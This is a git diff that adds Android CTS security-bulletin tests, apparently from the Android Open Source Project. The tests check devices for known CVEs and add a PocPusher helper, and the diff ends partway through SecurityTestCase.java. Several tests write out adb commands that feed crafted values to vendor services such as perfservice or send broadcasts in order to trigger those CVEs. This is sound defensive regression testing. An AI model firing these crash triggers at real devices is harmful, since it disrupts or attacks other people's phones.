+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0039 extends SecurityTestCase {
+
+ /**
+ * b/143155861
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0039() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0039", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
new file mode 100644
index 0000000..6596c74
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.compatibility.common.util.CrashUtils;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0073 extends SecurityTestCase {
+
+ /**
+ * b/147309942
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-04")
+ @Test
+ public void testPocCVE_2020_0073() throws Exception {
+ pocPusher.only64();
+ String binaryName = "CVE-2020-0073";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
new file mode 100644
index 0000000..43632ec
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0226 extends SecurityTestCase {
+
+ /**
+ * b/150226994
+ * Vulnerability Behaviour: SIGSEGV in surfaceflinger
+ */
+ @SecurityTest(minPatchLevel = "2020-07")
+ @Test
+ public void testPocCVE_2020_0226() throws Exception {
+ String processPatternStrings[] = {"surfaceflinger"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0226", null, getDevice(),
+ processPatternStrings);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
new file mode 100644
index 0000000..2d5237a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0381 extends SecurityTestCase {
+
+ /**
+ * b/150159669
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0381() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0381",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
new file mode 100644
index 0000000..2e1ca03
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -0,0 +1,42 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import static org.junit.Assume.assumeFalse;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0383 extends SecurityTestCase {
+
+ /**
+ * b/150160279
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0383() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
+ String binaryName = "CVE-2020-0383";
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(binaryName,
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
new file mode 100644
index 0000000..2f7b5d9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0384 extends SecurityTestCase {
+
+ /**
+ * b/150159906
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0384() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0384",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
new file mode 100644
index 0000000..e7aefeb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0385 extends SecurityTestCase {
+
+ /**
+ * b/150160041
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0385() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0385",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
new file mode 100644
index 0000000..5248019
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0313 extends SecurityTestCase {
+
+ /**
+ * b/170968514
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2021_0313() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0313", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
new file mode 100644
index 0000000..3d3f4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0330 extends SecurityTestCase {
+
+ /**
+ * b/170732441
+ * Vulnerability Behaviour: SIGSEGV in storaged
+ */
+ @SecurityTest(minPatchLevel = "2021-02")
+ @Test
+ public void testPocCVE_2021_0330() throws Exception {
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
+ testConfig.config.checkMinAddress(false);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java
new file mode 100644
index 0000000..2160aca
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0393 extends SecurityTestCase {
+
+ /**
+ * b/168041375
+ * Vulnerability Behavior: SIGSEGV in pacrunner
+ */
+ @SecurityTest(minPatchLevel = "2021-03")
+ @Test
+ public void testPocCVE_2021_0393() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runProxyAutoConfig("cve_2021_0393", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java
new file mode 100644
index 0000000..3df46a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.assertTrue;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0396 extends SecurityTestCase {
+
+ /**
+ * b/160610106
+ * Vulnerability Behaviour: SIGSEGV in pacrunner
+ */
+ @SecurityTest(minPatchLevel = "2021-03")
+ @Test
+ public void testPocCVE_2021_0396() throws Exception {
+ AdbUtils.runProxyAutoConfig("cve_2021_0396", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
new file mode 100644
index 0000000..3c6d4b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -0,0 +1,23 @@
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_01 extends SecurityTestCase {
+ /**
+ * CVE-2019-14002
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testPocCVE_2019_14002() throws Exception {
+ String result =
+ AdbUtils.runCommandLine(
+ "dumpsys package com.qualcomm.qti.callenhancement", getDevice());
+ assertNotMatchesMultiLine("READ_EXTERNAL_STORAGE.*?WRITE_EXTERNAL_STORAGE", result);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
new file mode 100644
index 0000000..bd8f3cd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_06 extends SecurityTestCase {
+
+ /**
+ * CVE-2020-3635
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3635() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
+ }
+ }
+
+ /**
+ * CVE-2020-3626
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3626() throws Exception {
+ String isApplicable =
+ AdbUtils.runCommandLine("pm list package com.qualcomm.qti.lpa", getDevice());
+ if (!isApplicable.isEmpty()) {
+ String result =
+ AdbUtils.runCommandLine("dumpsys package com.qualcomm.qti.lpa", getDevice());
+ assertTrue(result.contains("com.qti.permission.USE_UIM_LPA_SERVICE"));
+ }
+ }
+
+ /**
+ * CVE-2020-3628
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3628() throws Exception {
+ String result = AdbUtils.runCommandLine(
+ "pm list package com.qualcomm.qti.logkit",getDevice());
+ assertFalse(result.contains("com.qualcomm.qti.logkit"));
+ }
+
+ /**
+ * CVE-2020-3676
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3676() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
+ AdbUtils.assertNoCrashes(getDevice(), "perfservice");
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
new file mode 100644
index 0000000..627f098
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -0,0 +1,47 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_11 extends SecurityTestCase {
+
+ /**
+ * b/162741784
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testPocCVE_2020_0437() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.cellbroadcast"));
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "am broadcast " +
+ "-a com.android.cellbroadcastreceiver.intent.action.MARK_AS_READ " +
+ "-n com.android.cellbroadcastreceiver/.CellBroadcastReceiver " +
+ "--el com.android.cellbroadcastreceiver.intent.extra.ID 1596185475000",
+ getDevice());
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("CellBroadcastContentProvider: failed to mark broadcast read", logcat);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
new file mode 100644
index 0000000..711949a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc21_01 extends SecurityTestCase {
+
+ /**
+ * b/168211968
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testPocCVE_2021_0318() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0318", getDevice(), 300);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
new file mode 100644
index 0000000..fe8c239
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.io.File;
+import java.io.FileNotFoundException;
+
+import org.junit.runner.Description;
+import org.junit.rules.TestWatcher;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.IAbi;
+
+import static org.junit.Assume.*;
+import static org.junit.Assert.*;
+
+public class PocPusher extends TestWatcher {
+ private ITestDevice device = null;
+ private CompatibilityBuildHelper buildHelper = null;
+ private IAbi abi = null;
+
+ private Set<String> filesToCleanup = new HashSet();
+ public boolean bitness32 = true;
+ public boolean bitness64 = true;
+ public boolean appendBitness = true;
+ public boolean cleanup = true;
+
+ @Override
+ protected void starting(Description d) {
+ bothBitness();
+ appendBitness = true;
+ cleanup = true;
+ }
+
+ @Override
+ protected void finished(Description d) {
+ for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
+ String file = it.next();
+ try {
+ CLog.i("Cleaning up %s", file);
+ device.deleteFile(file);
+ } catch (DeviceNotAvailableException e) {
+ CLog.e("Device unavailable when cleaning up %s", file);
+ continue; // try to remove next time
+ }
+ it.remove();
+ }
+ }
+
+ public PocPusher setDevice(ITestDevice device) {
+ this.device = device;
+ return this;
+ }
+
+ public PocPusher setAbi(IAbi abi) {
+ this.abi = abi;
+ return this;
+ }
+
+ public PocPusher setBuild(IBuildInfo buildInfo) {
+ buildHelper = new CompatibilityBuildHelper(buildInfo);
+ return this;
+ }
+
+ public PocPusher appendBitness(boolean append) {
+ this.appendBitness = append;
+ return this;
+ }
+
+ public PocPusher cleanup(boolean cleanup) {
+ this.cleanup = cleanup;
+ return this;
+ }
+
+ public PocPusher only32() {
+ bitness32 = true;
+ bitness64 = false;
+ return this;
+ }
+
+ public PocPusher only64() {
+ bitness32 = false;
+ bitness64 = true;
+ return this;
+ }
+
+ public PocPusher bothBitness() {
+ bitness32 = true;
+ bitness64 = true;
+ return this;
+ }
+
+ public void pushFile(String testFile, String remoteFile)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ if (appendBitness) {
+ // if neither 32 or 64, nothing would ever be pushed.
+ assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
+
+ String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
+
+ // 32-bit doesn't have a 64-bit compatibility layer; skipping.
+ assumeFalse(bitness.equals("32") && !bitness32);
+
+ // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
+ if (bitness.equals("64") && !bitness64) {
+ bitness = "32";
+ CLog.i("Pushing a 32-bit file onto a 64-bit device.");
+ }
+ testFile += bitness;
+ }
+ File localFile = buildHelper.getTestFile(testFile);
+ CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
+ device.pushFile(localFile, remoteFile);
+ if (cleanup) {
+ filesToCleanup.add(remoteFile);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index ec89b1672..10137a0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -62,10 +62,12 @@
private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
@Rule public TestName testName = new TestName();
+ @Rule public PocPusher pocPusher = new PocPusher();
private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
private static Map<ITestDevice, String> sTestName = new HashMap<>();
+ private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
/**
* Waits for device to be online, marks the most recent boottime of the device
@@ -82,6 +84,9 @@
sBuildInfo.put(getDevice(), getBuild());
sAbi.put(getDevice(), getAbi());
sTestName.put(getDevice(), testName.getMethodName());
+
+ pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
+ sPocPusher.put(getDevice(), pocPusher);
}
/**
@@ -135,6 +140,10 @@
return sTestName.get(device);
}
+ public static PocPusher getPocPusher(ITestDevice device) {
